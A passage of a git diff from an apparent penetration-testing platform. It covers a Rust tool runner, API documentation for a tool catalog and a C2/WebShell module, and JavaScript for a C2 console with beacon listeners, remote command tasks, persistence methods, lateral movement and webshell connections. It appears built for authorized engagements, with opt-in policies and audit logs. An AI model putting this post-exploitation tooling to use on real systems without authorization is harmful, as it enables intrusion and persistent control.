.join("toolbox")
|
||||
});
|
||||
let _ = std::fs::create_dir_all(&dir);
|
||||
let ts = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_millis() as i64)
|
||||
.unwrap_or(0);
|
||||
let rec = json!({
|
||||
"ts": ts,
|
||||
"tool": run.tool,
|
||||
"command": run.command,
|
||||
"target": run.target,
|
||||
"code": run.code,
|
||||
"timed_out": run.timed_out,
|
||||
"duration_ms": run.duration_ms,
|
||||
"stdout_len": run.stdout.len(),
|
||||
"stderr_len": run.stderr.len(),
|
||||
});
|
||||
let path = dir.join("toolbox-audit.jsonl");
|
||||
if let Ok(mut f) = std::fs::OpenOptions::new().create(true).append(true).open(Path::new(&path)) {
|
||||
let _ = writeln!(f, "{rec}");
|
||||
}
|
||||
}
|
||||
|
||||
/// Detect a tool and (when allowed) provision it. Returns whether it is now
|
||||
/// available.
|
||||
pub async fn ensure_installed(
|
||||
spec: &ToolSpec,
|
||||
cfg: &ToolRunConfig,
|
||||
sandbox: Option<&Sandbox>,
|
||||
) -> Result<(bool, bool), String> {
|
||||
let installed = if let Some(sb) = sandbox {
|
||||
sb.exec(&format!("command -v {}", shell_quote(&spec.binary)))
|
||||
.await?
|
||||
.code
|
||||
== 0
|
||||
} else {
|
||||
host_has(&spec.binary).await
|
||||
};
|
||||
if installed {
|
||||
return Ok((true, false));
|
||||
}
|
||||
if !cfg.provision {
|
||||
return Ok((false, false));
|
||||
}
|
||||
let mut last_err = String::new();
|
||||
for (kind, pkg) in &spec.install {
|
||||
let Some(cmd) = installer_command(kind, pkg) else { continue };
|
||||
let (code, out, err, timed) = run_shell(&cmd, INSTALL_TIMEOUT, sandbox).await?;
|
||||
if code == 0 && !timed {
|
||||
let now = if let Some(sb) = sandbox {
|
||||
sb.exec(&format!("command -v {}", shell_quote(&spec.binary)))
|
||||
.await?
|
||||
.code
|
||||
== 0
|
||||
} else {
|
||||
host_has(&spec.binary).await
|
||||
};
|
||||
if now {
|
||||
return Ok((true, true));
|
||||
}
|
||||
last_err = format!("{kind} install succeeded but `{}` is still not on PATH", spec.binary);
|
||||
} else {
|
||||
last_err = format!(
|
||||
"{kind} install failed (code {code}): {}",
|
||||
err.lines().last().unwrap_or(&out).trim()
|
||||
);
|
||||
}
|
||||
}
|
||||
if last_err.is_empty() {
|
||||
last_err = install_hint(spec);
|
||||
}
|
||||
Err(format!("could not provision '{}': {last_err}", spec.id))
|
||||
}
|
||||
|
||||
fn shell_quote(s: &str) -> String {
|
||||
format!("'{}'", s.replace('\'', "'\\''"))
|
||||
}
|
||||
|
||||
/// Check availability + version without running a scan.
|
||||
pub async fn check(spec: &ToolSpec, cfg: &ToolRunConfig) -> Result<ToolCheck, String> {
|
||||
let sb = sandbox_for(cfg)?;
|
||||
if let Some(s) = &sb {
|
||||
s.ensure().await?;
|
||||
}
|
||||
let installed = if let Some(s) = &sb {
|
||||
s.exec(&format!("command -v {}", shell_quote(&spec.binary)))
|
||||
.await?
|
||||
.code
|
||||
== 0
|
||||
} else {
|
||||
host_has(&spec.binary).await
|
||||
};
|
||||
let mut version = String::new();
|
||||
if installed {
|
||||
let cmd = format!("{} --version 2>&1 | head -n 1", shell_quote(&spec.binary));
|
||||
if let Ok((_, out, _, _)) = run_shell(&cmd, 8, sb.as_ref()).await {
|
||||
version = out.trim().chars().take(160).collect();
|
||||
}
|
||||
}
|
||||
Ok(ToolCheck {
|
||||
tool: spec.id.clone(),
|
||||
name: spec.name.clone(),
|
||||
binary: spec.binary.clone(),
|
||||
category: spec.category.clone(),
|
||||
installed,
|
||||
version,
|
||||
install_hint: install_hint(spec),
|
||||
intrusive: spec.intrusive,
|
||||
requires_root: spec.requires_root,
|
||||
})
|
||||
}
|
||||
|
||||
/// Install a tool explicitly (operator asked for it).
|
||||
pub async fn install(spec: &ToolSpec, cfg: &ToolRunConfig) -> Result<(bool, String), String> {
|
||||
let sb = sandbox_for(cfg)?;
|
||||
if let Some(s) = &sb {
|
||||
s.ensure().await?;
|
||||
}
|
||||
let mut cfg = cfg.clone();
|
||||
cfg.provision = true;
|
||||
match ensure_installed(spec, &cfg, sb.as_ref()).await {
|
||||
Ok((true, _)) => {
|
||||
let chk = check(spec, &cfg).await?;
|
||||
Ok((true, chk.version))
|
||||
}
|
||||
Ok((false, _)) => Err(install_hint(spec)),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
/// Run a catalog tool.
|
||||
pub async fn run(
|
||||
tool_id: &str,
|
||||
args: Option<&str>,
|
||||
target: &str,
|
||||
cfg: &ToolRunConfig,
|
||||
) -> Result<ToolRun, String> {
|
||||
let spec = find(tool_id).ok_or_else(|| format!("unknown tool '{tool_id}' (try `neurosploit tools search {tool_id}`)"))?;
|
||||
scope_allows(cfg.scope.as_ref(), target)?;
|
||||
|
||||
let cmd = match args.map(|a| a.trim()).filter(|a| !a.is_empty()) {
|
||||
Some(a) => {
|
||||
let a = substitute(a, target)?;
|
||||
let mut cmd = format!("{} {}", spec.binary, a);
|
||||
// Convenience: a bare flag list (e.g. "-Pn -p 443") plus --target
|
||||
// appends the target. A full command (contains "://" or the target)
|
||||
// is left untouched.
|
||||
if !target.trim().is_empty() && !a.contains("://") && !a.contains(target) {
|
||||
cmd.push(' ');
|
||||
cmd.push_str(target);
|
||||
}
|
||||
cmd
|
||||
}
|
||||
None => substitute(&spec.usage, target)?,
|
||||
};
|
||||
if let Some(c) = cfg.constraints.check_command(&cmd) {
|
||||
return Err(format!("operator constraint blocked this command: {}", c.text));
|
||||
}
|
||||
|
||||
let sb = sandbox_for(cfg)?;
|
||||
if let Some(s) = &sb {
|
||||
s.ensure().await?;
|
||||
}
|
||||
let (installed, provisioned) = ensure_installed(spec, cfg, sb.as_ref()).await?;
|
||||
if !installed {
|
||||
return Err(format!(
|
||||
"tool '{}' is not installed — {} (or pass --provision)",
|
||||
spec.id,
|
||||
install_hint(spec)
|
||||
));
|
||||
}
|
||||
|
||||
let started = Instant::now();
|
||||
let timeout = cfg.timeout_secs.unwrap_or(DEFAULT_TIMEOUT).max(1);
|
||||
let (code, stdout, stderr, timed_out) = run_shell(&cmd, timeout, sb.as_ref()).await?;
|
||||
let run = ToolRun {
|
||||
tool: spec.id.clone(),
|
||||
name: spec.name.clone(),
|
||||
category: spec.category.clone(),
|
||||
command: cmd,
|
||||
target: target.to_string(),
|
||||
installed,
|
||||
provisioned,
|
||||
code,
|
||||
timed_out,
|
||||
duration_ms: started.elapsed().as_millis(),
|
||||
stdout: clip(stdout),
|
||||
stderr: clip(stderr),
|
||||
};
|
||||
audit(cfg, &run);
|
||||
Ok(run)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn substitution_handles_targets() {
|
||||
assert_eq!(substitute("nmap {target}", "https://example.com").unwrap(), "nmap https://example.com");
|
||||
assert_eq!(substitute("nmap {host}", "https://example.com:8443/x").unwrap(), "nmap example.com");
|
||||
assert!(substitute("nmap {target}", "").is_err());
|
||||
assert!(substitute("hydra {user}", "10.0.0.5").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn install_hints_and_commands() {
|
||||
let nmap = find("nmap").unwrap();
|
||||
assert!(install_hint(nmap).contains("nmap"));
|
||||
assert!(installer_command("apt", "nmap").unwrap().contains("apt-get"));
|
||||
assert!(installer_command("go", "github.com/x/y").unwrap().contains("go install"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn unknown_tool_is_an_error() {
|
||||
let cfg = ToolRunConfig::default();
|
||||
assert!(run("__nope__", None, "", &cfg).await.is_err());
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
+57
@@ -302,3 +302,60 @@ to the CLI — the console never re-implements harness logic.
|
||||
| `GET` | `/api/runs/:id/findings/:findingId/traffic` | The HTTP exchanges that back one finding: the exchanges the harness measured (`evidence_data` — baseline/attack, the identity pair, matrix probes, the oracle), each with its wire `provenance`; the finding's `wire` check summary; and the recorded `flows.jsonl` entries on the same endpoint. Real bytes, not the agent's prose. |
|
||||
|
||||
`GET /api/runs/:id` now also returns `extras`: `{ graph, todo, traces, flows, deliverables[] }`.
|
||||
|
||||
---
|
||||
|
||||
## Toolbox (200+ tools) and MCP tool servers
|
||||
|
||||
These endpoints shell out to `neurosploit tools … --json`; the catalog, scope
|
||||
checks and runner live in the harness. Nothing runs until the operator clicks
|
||||
Run (or an agent with opt-in tool access requests it).
|
||||
|
||||
| Method | Path | What |
|
||||
|---|---|---|
|
||||
| `GET` | `/api/tools?q=&category=` | Catalog list/search. Returns the `ToolSpec` array (`id, name, binary, category, description, usage, tags, intrusive, requires_root, install, mcp`). |
|
||||
| `GET` | `/api/tools/profiles` | Recommended tool IDs per engagement mode (`run`, `host`, `ad`, `cloud`, `container`, `mobile`, `binary`, `aitest`). |
|
||||
| `GET` | `/api/tools/:id` | One tool's descriptor + install hints. |
|
||||
| `GET/POST` | `/api/tools/:id/check` | `neurosploit tools check <id>`; body `{ "sandbox": true }` checks inside Kali. Never runs a scan. |
|
||||
| `POST` | `/api/tools/run` | Body `{ tool, target?, args?, sandbox?, provision?, timeout? }`. Returns `{ tool, command, code, timed_out, duration_ms, stdout, stderr }`. |
|
||||
| `POST` | `/api/tools/install` | Body `{ tool, sandbox? }`. Explicit provisioning (apt/pipx/go/cargo/npm/gem/docker). |
|
||||
| `GET` | `/api/mcp/servers` | Curated MCP server catalog plus `configured` flags and the local `mcp.servers.json` path. |
|
||||
| `POST` | `/api/mcp/servers` | Body `{ action: "add"\|"remove", server }`. Writes `./mcp.servers.json`, merged into `.mcp.json` on the next `--mcp` run. |
|
||||
| `POST` | `/api/mcp/servers/test` | Body `{ server }` — checks the executable on PATH, or the HTTP endpoint. |
|
||||
| `GET` | `/api/mcp/servers/:name` | JSON `mcpServers` snippet for that server. |
|
||||
|
||||
---
|
||||
|
||||
## C2 and WebShell management
|
||||
|
||||
Opt-in and disabled by default. Mutating calls fail closed until
|
||||
`POST /api/c2/enable` receives an authorization reference. State and the audit
|
||||
trail live under `.neurosploit/c2/`; the local daemon binds `127.0.0.1`.
|
||||
|
||||
| Method | Path | What |
|
||||
|---|---|---|
|
||||
| `GET` | `/api/c2/status` | `{ policy, listeners, sessions, tasks, webshells, events, payloads, counts }`. |
|
||||
| `POST` | `/api/c2/enable` | Body `{ authorization, persistence?, lateral?, allowPublic?, hosts? }`. Required to use C2. |
|
||||
| `POST` | `/api/c2/disable` | Stops every listener and disables the module. |
|
||||
| `PUT/POST` | `/api/c2/policy` | Update guardrails (`allow_persistence`, `allow_lateral`, `allow_public_targets`, `allowed_hosts`, …). |
|
||||
| `GET/POST` | `/api/c2/listeners` | List/create HTTP beacon listeners (loopback by default). |
|
||||
| `POST` | `/api/c2/listeners/:id/start` · `/stop` | Listener lifecycle. |
|
||||
| `DELETE` | `/api/c2/listeners/:id` | Delete listener + its sessions/tasks. |
|
||||
| `GET` | `/api/c2/sessions` | Sessions (`hostname, username, os, arch, internal_ip, status, sleep_seconds, note`). |
|
||||
| `POST` | `/api/c2/sessions/:id/sleep` | Body `{ seconds, jitter }`. |
|
||||
| `POST` | `/api/c2/sessions/:id/note` | Body `{ note }`. |
|
||||
| `DELETE` | `/api/c2/sessions/:id` | Mark killed and cancel queued tasks. |
|
||||
| `GET/POST` | `/api/c2/tasks` | List/enqueue tasks (`exec`, `persist`, `lateral`, `pwd`, `ls`, `cd`, `upload`, `download`, `sleep`, `exit`). |
|
||||
| `GET` | `/api/c2/tasks/:id` · `/wait?timeout=` | Task result. `wait` blocks up to the timeout. |
|
||||
| `POST` | `/api/c2/tasks/:id/cancel` | Cancel a queued task. |
|
||||
| `GET` | `/api/c2/events?limit=` | Recent audit events. |
|
||||
| `GET` | `/api/c2/payloads` | Generated payloads (metadata). |
|
||||
| `GET` | `/api/c2/payloads/:name` | Raw payload download (0600 on disk). |
|
||||
| `POST` | `/api/c2/payloads/webshell` | Body `{ shell_type, password?, pass_param?, cmd_param?, filename? }`. |
|
||||
| `POST` | `/api/c2/payloads/beacon` | Body `{ listener_id, kind: bash\|python\|powershell\|php, host?, filename? }`. |
|
||||
| `POST` | `/api/c2/payloads/oneliner` | Body `{ listener_id }`. |
|
||||
| `GET/POST` | `/api/webshell/connections` | Saved WebShell connections (passwords never returned). |
|
||||
| `PUT/DELETE` | `/api/webshell/connections/:id` | Update/delete a connection. |
|
||||
| `POST` | `/api/webshell/connections/:id/test` | OS probe + `whoami`. |
|
||||
| `POST` | `/api/webshell/connections/:id/exec` | Body `{ command }`. |
|
||||
| `POST` | `/api/webshell/connections/:id/file` | Body `{ action: list\|read\|write\|upload\|delete\|mkdir\|rename, path, content?, target_path? }`. |
|
||||
+698
-1
@@ -125,7 +125,7 @@ function clearFieldErrors() { $$('.field-error').forEach((el) => { el.textConten
|
||||
// view navigation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView'];
|
||||
const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView','c2View','toolboxView'];
|
||||
|
||||
function switchView(viewName) {
|
||||
state.activeView = viewName;
|
||||
@@ -147,6 +147,8 @@ function switchView(viewName) {
|
||||
if (viewName === 'prreviews') loadPrReviews();
|
||||
if (viewName === 'vault') loadVault();
|
||||
if (viewName === 'guardrails') loadGuardrails();
|
||||
if (viewName === 'c2') loadC2();
|
||||
if (viewName === 'toolbox') loadToolbox();
|
||||
if (viewName === 'dash') renderDashboard();
|
||||
if (viewName === 'home') renderHome();
|
||||
}
|
||||
@@ -676,6 +678,7 @@ function renderReview() {
|
||||
{ k: 'Intercept', v: $('#fieldIntercept').value === 'off' ? 'direct' : $('#fieldIntercept').value },
|
||||
{ k: 'Sandbox', v: $('#fieldSandbox').value ? 'Kali container' : 'host' },
|
||||
{ k: 'PoC re-validation', v: $('#fieldRevalidatePoc').checked ? 'on' : 'off' },
|
||||
{ k: 'C2 / post-exploitation', v: $('#fieldC2')?.checked ? `on${$('#fieldC2Persistence')?.checked ? ' · persistence' : ''}${$('#fieldC2Lateral')?.checked ? ' · lateral' : ''}` : 'off' },
|
||||
{ k: 'TypeSafe', v: $('#fieldTypesafe') ? $('#fieldTypesafe').value : 'auto' },
|
||||
{ k: 'Compliance', v: (['fieldCompPci', 'fieldCompHipaa', 'fieldCompSoc2', 'fieldCompGdpr'].map((id) => $(`#${id}`).checked && $(`#${id}`).value).filter(Boolean).join(', ')) || 'none' },
|
||||
{ k: 'Autonomy', v: $('#fieldAutonomy')?.value || 'standard' },
|
||||
@@ -753,6 +756,10 @@ async function startExploitation() {
|
||||
reactive: $('#fieldReactive')?.checked || false,
|
||||
mcpProfile: $('#fieldMcpProfile')?.value || undefined,
|
||||
autonomy: $('#fieldAutonomy')?.value || 'standard',
|
||||
c2: !!$('#fieldC2')?.checked,
|
||||
c2Authorization: $('#fieldC2Auth')?.value.trim() || undefined,
|
||||
c2Persistence: !!$('#fieldC2Persistence')?.checked,
|
||||
c2Lateral: !!$('#fieldC2Lateral')?.checked,
|
||||
};
|
||||
|
||||
$('#btnLaunch').disabled = true;
|
||||
@@ -3122,6 +3129,696 @@ document.addEventListener('keydown', (e) => {
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// C2 & Shells — opt-in Command & Control and WebShell management
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const c2State = { data: null, tab: 'sessions', session: '', webshell: '', output: '', payload: null, timer: null };
|
||||
|
||||
function c2Time(ts) {
|
||||
if (!ts) return '—';
|
||||
try { return new Date(ts).toLocaleTimeString(); } catch { return String(ts); }
|
||||
}
|
||||
function c2Badge(on, onText, offText) {
|
||||
return `<span class="badge ${on ? 'badge-ok' : 'badge-muted'}">${esc(on ? onText : offText)}</span>`;
|
||||
}
|
||||
function c2SetOutput(value) {
|
||||
c2State.output = String(value || '');
|
||||
}
|
||||
|
||||
async function loadC2() {
|
||||
if (state.activeView !== 'c2') return;
|
||||
const body = $('#c2Body');
|
||||
try {
|
||||
const data = await api('/api/c2/status');
|
||||
c2State.data = data;
|
||||
const sessions = data.sessions || [];
|
||||
if (!c2State.session || !sessions.some((x) => x.id === c2State.session)) {
|
||||
const active = sessions.find((x) => x.status === 'active') || sessions[0];
|
||||
c2State.session = active ? active.id : '';
|
||||
}
|
||||
const shells = data.webshells || [];
|
||||
if (!c2State.webshell || !shells.some((x) => x.id === c2State.webshell)) {
|
||||
c2State.webshell = shells[0] ? shells[0].id : '';
|
||||
}
|
||||
renderC2();
|
||||
if (!c2State.timer) {
|
||||
c2State.timer = setInterval(() => {
|
||||
if (state.activeView === 'c2') loadC2();
|
||||
}, 5000);
|
||||
}
|
||||
} catch (e) {
|
||||
if (body) body.innerHTML = `<div class="empty-state">C2 unavailable — ${esc(e.message)}</div>`;
|
||||
}
|
||||
}
|
||||
|
||||
function renderC2() {
|
||||
const body = $('#c2Body');
|
||||
if (!body) return;
|
||||
const d = c2State.data || {};
|
||||
const p = d.policy || {};
|
||||
if (!p.enabled) {
|
||||
body.innerHTML = `
|
||||
<div class="config-card" style="max-width:780px;margin:24px auto;">
|
||||
<div class="config-card-title">C2 & WebShells are disabled</div>
|
||||
<div class="config-card-desc">
|
||||
This layer is opt-in and auditable. It exists for <b>authorized internal-network engagements</b>:
|
||||
listeners bind loopback by default, WebShell targets must resolve to private/loopback space unless
|
||||
explicitly allow-listed, and persistence/lateral movement each need their own opt-in.
|
||||
State and the audit trail live under <code>.neurosploit/c2/</code>.
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="c2Auth">Authorization reference (required)</label>
|
||||
<input id="c2Auth" type="text" placeholder="SOW / ticket / bug-bounty URL" />
|
||||
<div class="field-help">Recorded in every audit entry. A run launched with C2 also passes this to the agents.</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label>Additional authorized hosts / domains (optional, comma-separated)</label>
|
||||
<input id="c2Hosts" type="text" placeholder="10.20.0.0/24 · *.corp.local" />
|
||||
<div class="field-help">Targets outside private address space require an entry here (or explicit allow-public, below).</div>
|
||||
</div>
|
||||
<div class="check-row"><input type="checkbox" id="c2Persist" /> <label for="c2Persist">Allow <b>persistence</b> tasks (cron/bashrc/systemd/schtasks/registry)</label></div>
|
||||
<div class="check-row"><input type="checkbox" id="c2Lateral" /> <label for="c2Lateral">Allow <b>lateral movement</b> and file uploads</label></div>
|
||||
<div class="check-row"><input type="checkbox" id="c2Public" /> <label for="c2Public">Allow public targets (explicit opt-in — only for authorized external assets)</label></div>
|
||||
<div class="config-card-actions">
|
||||
<button class="btn btn-accent" data-c2-action="enable">Enable C2</button>
|
||||
</div>
|
||||
<div class="field-error" id="c2EnableError"></div>
|
||||
</div>`;
|
||||
return;
|
||||
}
|
||||
|
||||
const counts = d.counts || {};
|
||||
const tabs = [['sessions','Sessions'],['listeners','Listeners'],['tasks','Tasks'],['webshells','WebShells'],['payloads','Payloads'],['events','Events']];
|
||||
body.innerHTML = `
|
||||
<div class="config-card" style="margin-bottom:16px;">
|
||||
<div class="config-card-title">
|
||||
C2 enabled ${c2Badge(true, 'ON', 'OFF')}
|
||||
${c2Badge(!!p.allow_persistence, 'persistence', 'no persistence')}
|
||||
${c2Badge(!!p.allow_lateral, 'lateral', 'no lateral')}
|
||||
${c2Badge(!!p.allow_public_targets, 'public targets', 'private-only')}
|
||||
<span class="config-card-meta" style="margin-left:auto;">auth: ${esc(p.authorized_by || '—')}</span>
|
||||
</div>
|
||||
<div class="config-card-desc" style="margin-bottom:8px;">
|
||||
${counts.sessions_active || 0} active / ${counts.sessions_total || 0} sessions ·
|
||||
${counts.listeners || 0} listeners · ${counts.tasks_queued || 0} queued tasks ·
|
||||
${counts.webshells || 0} WebShells.
|
||||
<span class="mono">allow-list: ${esc((p.allowed_hosts || []).join(', ') || '(private space only)')}</span>
|
||||
</div>
|
||||
<div class="config-card-actions" style="border-top:none;padding-top:0;margin-top:0;">
|
||||
<button class="btn btn-sm" data-c2-action="disable">Disable C2</button>
|
||||
<button class="btn btn-sm" data-c2-action="refresh">Refresh</button>
|
||||
</div>
|
||||
</div>
|
||||
<nav class="run-tabs" style="margin-bottom:12px;">
|
||||
${tabs.map(([id, label]) => `<button class="run-tab ${c2State.tab === id ? 'active' : ''}" data-c2-tab="${id}">${label}</button>`).join('')}
|
||||
</nav>
|
||||
<div id="c2Panel">${renderC2Panel(d, p)}</div>
|
||||
${c2State.output ? `<div class="config-card" style="margin-top:16px;"><div class="config-card-title">Output</div><pre class="c2-output">${esc(c2State.output)}</pre></div>` : ''}`;
|
||||
}
|
||||
|
||||
function renderC2Panel(d, p) {
|
||||
const tab = c2State.tab;
|
||||
if (tab === 'listeners') return renderC2Listeners(d);
|
||||
if (tab === 'tasks') return renderC2Tasks(d);
|
||||
if (tab === 'webshells') return renderC2Webshells(d);
|
||||
if (tab === 'payloads') return renderC2Payloads(d);
|
||||
if (tab === 'events') return renderC2Events(d);
|
||||
return renderC2Sessions(d);
|
||||
}
|
||||
|
||||
function renderC2Sessions(d) {
|
||||
const sessions = d.sessions || [];
|
||||
const sel = sessions.find((x) => x.id === c2State.session) || null;
|
||||
const rows = sessions.map((s) => `
|
||||
<tr class="${s.id === c2State.session ? 'c2-selected' : ''}" data-c2-session="${esc(s.id)}">
|
||||
<td class="mono">${esc(s.id)}</td>
|
||||
<td>${esc(s.hostname || '?')}</td>
|
||||
<td class="mono">${esc(s.username || '?')}${s.is_admin ? ' (admin)' : ''}</td>
|
||||
<td>${esc(s.os || '?')}/${esc(s.arch || '?')}</td>
|
||||
<td class="mono">${esc(s.internal_ip || '?')}</td>
|
||||
<td><span class="badge ${s.status === 'active' ? 'badge-ok' : 'badge-muted'}">${esc(s.status)}</span></td>
|
||||
<td class="mono">${esc(c2Time(s.last_seen))}</td>
|
||||
<td class="mono">${esc(s.sleep_seconds)}s</td>
|
||||
<td>
|
||||
<button class="btn btn-sm" data-c2-action="session-sleep" data-id="${esc(s.id)}">sleep 10s</button>
|
||||
<button class="btn btn-sm" data-c2-action="session-note" data-id="${esc(s.id)}">note</button>
|
||||
<button class="btn btn-sm" data-c2-action="session-kill" data-id="${esc(s.id)}">kill</button>
|
||||
</td>
|
||||
</tr>`).join('');
|
||||
return `
|
||||
<div class="table-wrap"><table class="data-table">
|
||||
<thead><tr><th>Session</th><th>Host</th><th>User</th><th>OS/arch</th><th>Internal IP</th><th>Status</th><th>Last seen</th><th>Sleep</th><th></th></tr></thead>
|
||||
<tbody>${rows || '<tr><td colspan="9" class="empty-state">No sessions yet — start a listener and deploy an authorized beacon.</td></tr>'}</tbody>
|
||||
</table></div>
|
||||
${sel ? `
|
||||
<div class="config-card" style="margin-top:16px;">
|
||||
<div class="config-card-title">Task console — ${esc(sel.hostname)} <span class="mono">${esc(sel.id)}</span></div>
|
||||
<div class="config-card-desc">${esc(sel.username)}@${esc(sel.hostname)} · ${esc(sel.os)}/${esc(sel.arch)} · ${esc(sel.internal_ip)} ${sel.note ? `· note: ${esc(sel.note)}` : ''}</div>
|
||||
<div class="field-row">
|
||||
<div class="field-group" style="flex:3;">
|
||||
<label class="field-label" for="c2Cmd">Command (exec / lateral movement)</label>
|
||||
<input id="c2Cmd" type="text" placeholder="id; hostname; net view /domain" />
|
||||
</div>
|
||||
<div class="field-group" style="flex:1;">
|
||||
<label class="field-label" for="c2PersistMethod">Persistence method</label>
|
||||
<select id="c2PersistMethod">
|
||||
<option value="auto">auto</option><option value="cron">cron</option><option value="bashrc">bashrc</option>
|
||||
<option value="systemd">systemd (user)</option><option value="schtasks">schtasks</option><option value="registry">registry Run key</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="config-card-actions">
|
||||
<button class="btn btn-accent" data-c2-action="task-exec">Run command</button>
|
||||
<button class="btn" data-c2-action="task-persist">Install persistence</button>
|
||||
<button class="btn" data-c2-action="task-lateral">Lateral movement</button>
|
||||
</div>
|
||||
<div class="field-help">Persistence and lateral tasks fail unless enabled in the policy. Every action is audited.</div>
|
||||
</div>` : ''}`;
|
||||
}
|
||||
|
||||
function renderC2Listeners(d) {
|
||||
const rows = (d.listeners || []).map((l) => `
|
||||
<tr>
|
||||
<td class="mono">${esc(l.id)}</td>
|
||||
<td>${esc(l.name)}</td>
|
||||
<td class="mono">${esc(l.bind_host)}:${esc(l.bind_port)}</td>
|
||||
<td class="mono">${esc(l.callback_host || '—')}</td>
|
||||
<td><span class="badge ${l.status === 'running' ? 'badge-ok' : 'badge-muted'}">${esc(l.status)}</span></td>
|
||||
<td class="mono">${esc(l.sleep_seconds)}s</td>
|
||||
<td>
|
||||
<button class="btn btn-sm" data-c2-action="listener-start" data-id="${esc(l.id)}">start</button>
|
||||
<button class="btn btn-sm" data-c2-action="listener-stop" data-id="${esc(l.id)}">stop</button>
|
||||
<button class="btn btn-sm" data-c2-action="listener-delete" data-id="${esc(l.id)}">delete</button>
|
||||
</td>
|
||||
</tr>`).join('');
|
||||
return `
|
||||
<div class="config-card" style="margin-bottom:16px;">
|
||||
<div class="config-card-title">New HTTP beacon listener</div>
|
||||
<div class="field-row">
|
||||
<div class="field-group"><label class="field-label" for="c2ListenerName">Name</label><input id="c2ListenerName" placeholder="lab-beacon" /></div>
|
||||
<div class="field-group"><label class="field-label" for="c2ListenerHost">Bind host</label><input id="c2ListenerHost" value="127.0.0.1" /></div>
|
||||
<div class="field-group"><label class="field-label" for="c2ListenerPort">Port</label><input id="c2ListenerPort" type="number" value="8443" /></div>
|
||||
<div class="field-group"><label class="field-label" for="c2ListenerCb">Callback host</label><input id="c2ListenerCb" placeholder="defaults to bind host" /></div>
|
||||
<div class="field-group"><label class="field-label" for="c2ListenerSleep">Sleep (s)</label><input id="c2ListenerSleep" type="number" value="5" /></div>
|
||||
</div>
|
||||
<div class="config-card-actions"><button class="btn btn-accent" data-c2-action="listener-create">Create listener</button></div>
|
||||
<div class="field-help">Binds loopback by default. Use a private address for a lab; public bind addresses require explicit allow-public.</div>
|
||||
</div>
|
||||
<div class="table-wrap"><table class="data-table">
|
||||
<thead><tr><th>Listener</th><th>Name</th><th>Bind</th><th>Callback</th><th>Status</th><th>Sleep</th><th></th></tr></thead>
|
||||
<tbody>${rows || '<tr><td colspan="7" class="empty-state">No listeners yet.</td></tr>'}</tbody>
|
||||
</table></div>`;
|
||||
}
|
||||
|
||||
function renderC2Tasks(d) {
|
||||
const rows = (d.tasks || []).slice().reverse().slice(0, 100).map((t) => `
|
||||
<tr>
|
||||
<td class="mono">${esc(t.id)}</td>
|
||||
<td class="mono">${esc(t.session_id)}</td>
|
||||
<td>${esc(t.task_type)}</td>
|
||||
<td><span class="badge ${t.status === 'success' ? 'badge-ok' : (t.status === 'failed' || t.status === 'cancelled' ? 'badge-muted' : 'badge-warn')}">${esc(t.status)}</span></td>
|
||||
<td class="mono">${esc(c2Time(t.created_at))}</td>
|
||||
<td>
|
||||
<button class="btn btn-sm" data-c2-action="task-get" data-id="${esc(t.id)}">output</button>
|
||||
<button class="btn btn-sm" data-c2-action="task-cancel" data-id="${esc(t.id)}">cancel</button>
|
||||
</td>
|
||||
</tr>`).join('');
|
||||
return `<div class="table-wrap"><table class="data-table">
|
||||
<thead><tr><th>Task</th><th>Session</th><th>Type</th><th>Status</th><th>Created</th><th></th></tr></thead>
|
||||
<tbody>${rows || '<tr><td colspan="6" class="empty-state">No tasks yet.</td></tr>'}</tbody>
|
||||
</table></div>`;
|
||||
}
|
||||
|
||||
function renderC2Webshells(d) {
|
||||
const shells = d.webshells || [];
|
||||
const sel = shells.find((w) => w.id === c2State.webshell) || null;
|
||||
const rows = shells.map((w) => `
|
||||
<tr class="${w.id === c2State.webshell ? 'c2-selected' : ''}" data-c2-ws="${esc(w.id)}">
|
||||
<td class="mono">${esc(w.id)}</td>
|
||||
<td>${esc(w.name || '—')}</td>
|
||||
<td class="mono">${esc(w.url)}</td>
|
||||
<td>${esc(w.shell_type)}/${esc(w.method)}</td>
|
||||
<td>${esc(w.os || 'auto')}</td>
|
||||
<td class="mono">${esc(c2Time(w.last_seen))}</td>
|
||||
<td>
|
||||
<button class="btn btn-sm" data-c2-action="ws-test" data-id="${esc(w.id)}">test</button>
|
||||
<button class="btn btn-sm" data-c2-action="ws-delete" data-id="${esc(w.id)}">delete</button>
|
||||
</td>
|
||||
</tr>`).join('');
|
||||
return `
|
||||
<div class="config-card" style="margin-bottom:16px;">
|
||||
<div class="config-card-title">Add WebShell connection</div>
|
||||
<div class="field-row">
|
||||
<div class="field-group" style="flex:2;"><label class="field-label" for="c2WsUrl">URL</label><input id="c2WsUrl" placeholder="http://10.0.0.5/uploads/shell.php" /></div>
|
||||
<div class="field-group"><label class="field-label" for="c2WsName">Name</label><input id="c2WsName" placeholder="web01" /></div>
|
||||
<div class="field-group"><label class="field-label" for="c2WsPass">Password</label><input id="c2WsPass" type="password" placeholder="shell password" /></div>
|
||||
<div class="field-group"><label class="field-label" for="c2WsType">Type</label>
|
||||
<select id="c2WsType"><option>php</option><option>aspx</option><option>asp</option><option>jsp</option><option>custom</option></select>
|
||||
</div>
|
||||
<div class="field-group"><label class="field-label" for="c2WsMethod">Method</label>
|
||||
<select id="c2WsMethod"><option>POST</option><option>GET</option></select>
|
||||
</div>
|
||||
<div class="field-group"><label class="field-label" for="c2WsOs">OS</label>
|
||||
